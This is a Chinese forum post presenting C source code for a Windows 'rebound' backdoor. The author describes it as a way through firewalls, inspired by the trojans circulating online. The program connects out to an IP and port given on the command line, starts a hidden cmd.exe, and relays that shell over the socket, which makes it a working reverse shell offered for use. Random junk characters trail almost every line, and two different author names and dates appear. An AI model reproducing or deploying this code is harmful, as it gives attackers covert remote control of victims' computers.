这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Mt)~:V+:
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/* ============================== g#~ jF
Rebound port in Windows NT r AMnM>`
By wind,2006/7 jPYed@[+
===============================*/ ?H1I,]Di
#include h!56?4,%Y
#include Gxv@ a
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#pragma comment(lib,"wsock32.lib") bTZ/$7pp9
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void OutputShell(); i+T#z
SOCKET sClient; G T#hqt'1x
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,(Fo%.j
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void main(int argc,char **argv) aWek<Y~+
{ dluNA(Xc-
WSADATA stWsaData; J]i=SX+ 9
int nRet; :FwXoJc_+5
SOCKADDR_IN stSaiClient,stSaiServer; <.(IJ
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if(argc != 3) c#nFm&}dm
{ O_0|Q@
printf("Useage:\n\rRebound DestIP DestPort\n"); /A\'_a|
return; sLK J<=0i
} VaQ>g*(I
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WSAStartup(MAKEWORD(2,2),&stWsaData); 7CYu"+Ea
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,e( |,u
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stSaiClient.sin_family = AF_INET; -h^FSW($-R
stSaiClient.sin_port = htons(0); G/_#zIN`8M
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); s4P8PDhz
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) MBs]<(RJZ
{ WK0?$[|=r
printf("Bind Socket Failed!\n"); \k0%7i[nZ/
return; VJBVk8P
} ZT4._|2
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stSaiServer.sin_family = AF_INET; "o#"u[W,
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); epj]n=/}[
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); K@U"^
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) b>;>*'e
{ QE84l
printf("Connect Error!"); (G<"nnjK
return; rmpJG|(
} LSlaz
OutputShell(); VYTdK"%
} t&:'Ag.G
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void OutputShell() %d($\R-*O
{ QD]Vfj4+
char szBuff[1024]; mu)?SGpyE
SECURITY_ATTRIBUTES stSecurityAttributes; 4Ub_;EI>
OSVERSIONINFO stOsversionInfo; *$/7;CLq
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; yw"FI!M
STARTUPINFO stStartupInfo; >WE3$Q>bi
char *szShell; >4}+\ Q`S
PROCESS_INFORMATION stProcessInformation;
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unsigned long lBytesRead; _X;^'mqf~
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #Bj{
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *ntq;]
stSecurityAttributes.lpSecurityDescriptor = 0; 4Cke(G
stSecurityAttributes.bInheritHandle = TRUE; ?VEJk,/k
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); dG.s8r*?M
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 3ag*dBbs
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <%hSBDG!x
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #6fp"
stStartupInfo.wShowWindow = SW_HIDE; H&E c*MT
stStartupInfo.hStdInput = hReadPipe; U4%d#
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; GBu&2}
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GetVersionEx(&stOsversionInfo); .x$+R%5U
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switch(stOsversionInfo.dwPlatformId) .
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{ ]
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case 1: ?'CIt5n+\{
szShell = "command.com"; pA"x4\s
break; ()JM161
default: DF%\1C>
szShell = "cmd.exe"; * gr{{c
break; ?;,s=2
} @YdS_W
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \E9Z
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send(sClient,szMsg,77,0); 6(sqS~D
while(1) yU\&\fD>j
{ !1C3{
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); c?CwxI_b8
if(lBytesRead) gZ
{ x%B^hH;W
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~l}rYi>g%
send(sClient,szBuff,lBytesRead,0); mC
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} d,iW#,
else Zq2dCp%
{ "w9`UFu%^e
lBytesRead=recv(sClient,szBuff,1024,0); upQ:C>S
if(lBytesRead<=0) break; Z*.fSmT8)
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); R3d>|`) +
} yX$I<L<Suz
} %CfJ.;BDNE
{ >{|3
return; 6LL/wemq
}